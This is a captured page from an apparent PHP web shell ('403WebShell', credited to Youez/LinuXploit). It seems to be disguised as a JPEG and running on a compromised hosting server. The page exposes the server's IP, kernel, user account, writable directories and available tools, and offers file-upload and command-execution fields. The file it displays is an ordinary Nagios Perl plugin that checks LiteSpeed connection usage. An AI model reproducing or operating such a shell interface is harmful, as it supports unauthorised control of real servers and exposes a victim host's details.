����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.15.31.240
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/nagios/plugins/base/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/nagios/plugins/base/check_lsws_conn
#!/usr/bin/env perl
use extreme;
use Getopt::Long;

my ( $opt_h, $opt_wconn, $opt_cconn, $opt_wsslconn, $opt_csslconn, $status,
    $msg, $perfdata );
my %ERRORS = ( 'OK' => 0, 'WARNING' => 1, 'CRITICAL' => 2, 'UNKNOWN' => 3 );

# set default limits
$opt_wconn    = 60;
$opt_cconn    = 90;
$opt_wsslconn = 60;
$opt_csslconn = 90;

sub process_arguments() {
    GetOptions(
        "h"         => \$opt_h,
        "help"      => \$opt_h,
        "w_conn=i"  => \$opt_wconn,
        "c_conn=i"  => \$opt_cconn,
        "w_sconn=i" => \$opt_wsslconn,
        "c_sconn=i" => \$opt_csslconn,
    );

    if ($opt_h) {
        print_help();
        exit $ERRORS{'OK'};
    }

    if ( ( $opt_wconn >= $opt_cconn ) || ( $opt_wsslconn >= $opt_csslconn ) )
    {
        print "Warning cannot be greater than Critical!\n";
        return $ERRORS{'UNKNOWN'};
    }
    return $ERRORS{'OK'};

}

sub print_help () {
    my $help_text = <<'END';
Usage: %s [ --w_conn <warn> --c_conn <crit> --w_sconn <warn> --csconn <crit> ]

Checks the number of free plain and ssl connection slots for LiteSpeed
  --w_conn=PERCENT # default is 60
    Exit with WARNING status if less than PERCENT of plain connection slots is free
  --c_conn=PERCENT # default is 90
    Exit with CRITICAL status if less than PERCENT of plain connection slots is free
  --w_sconn=PERCENT # default is 60
    Exit with WARNING status if less than PERCENT of ssl connection slots is free
  --c_sconn=PERCENT # default is 90
    Exit with CRITICAL status if less than PERCENT of plain connection slots is free
  -h (--help)
END
    printf( $help_text, $0 );
}

$status = process_arguments();
if ($status) {
    print "ERROR: processing arguments\n";
    exit $ERRORS{"UNKNOWN"};
}

### PLUGIN CODE

my @ncpu = `ps -u nobody -o pid,stat,cmd | grep litespeed | grep -v SNl`;
my $ncpu = @ncpu;
my $report_base = '/tmp/lshttpd';
my $report_str  = "$report_base/.rtreport ";

if ( $ncpu > 1 ) {
    for my $n ( 2 .. $ncpu ) {
        $report_str .= "$report_base/.rtreport.$n ";
    }
}
my @report = `cat $report_str | grep ^MAXCONN`;

if ( !@report ) {
    say "Can't read any data from /tmp/lshttpd/.rtreport";
    exit $ERRORS{"UNKNOWN"};
}

my $ls_info;
for my $result (@report) {
    chomp $result;
    my @data = split( ', ', $result );
    for my $param (@data) {
        my ( $key, $value ) = split( ': ', $param );
        $ls_info->{$key} += $value;
    }
}

my $state            = $ERRORS{'OK'};
my $plain_conn_usage = sprintf("%.2f", $ls_info->{PLAINCONN} / $ls_info->{MAXCONN} * 100);
my $ssl_conn_usage   = sprintf("%.2f", $ls_info->{SSLCONN} / $ls_info->{MAXSSL_CONN} * 100);
$perfdata
  = "| PLAINCONN=$ls_info->{PLAINCONN};" .
    int($ls_info->{MAXCONN}*$opt_wconn/100) . ';' .
    int($ls_info->{MAXCONN}*$opt_cconn/100) . ";;$ls_info->{MAXCONN} " .
    "SSLCONN=$ls_info->{SSLCONN};" .
    int($ls_info->{MAXSSL_CONN}*$opt_wsslconn/100) . ';' .
    int($ls_info->{MAXSSL_CONN}*$opt_csslconn/100) . ";;$ls_info->{MAXSSL_CONN}";
$msg
  = "OK - PLAINCONN usage - $plain_conn_usage% ($ls_info->{PLAINCONN}), SSLCONN usage - $ssl_conn_usage% ($ls_info->{SSLCONN}) $perfdata";

if ( $plain_conn_usage > $opt_cconn ) {
    $msg
      = "CRITICAL: PLAINCONN ($plain_conn_usage %) is above threshold ($opt_cconn % ) $perfdata";
    $state = $ERRORS{'CRITICAL'};
    say $msg;
    exit $state;
}
if ( $ssl_conn_usage > $opt_csslconn ) {
    $msg
      = "CRITICAL: SSLCONN ($ssl_conn_usage %) is above threshold ($opt_csslconn % ) $perfdata";
    $state = $ERRORS{'CRITICAL'};
    say $msg;
    exit $state;
}
if ( $plain_conn_usage > $opt_wconn ) {
    $msg
      = "WARNING: PLAINCONN ($plain_conn_usage %) is above threshold ($opt_wconn % ) $perfdata";
    $state = $ERRORS{'WARNING'};
    say $msg;
    exit $state;
}
if ( $ssl_conn_usage > $opt_wsslconn ) {
    $msg
      = "WARNING: SSLCONN ($ssl_conn_usage %) is above threshold ($opt_wsslconn % ) $perfdata";
    $state = $ERRORS{'WARNING'};
    say $msg;
    exit $state;
}

say $msg;
exit $state;

Youez - 2016 - github.com/yon3zu
LinuXploit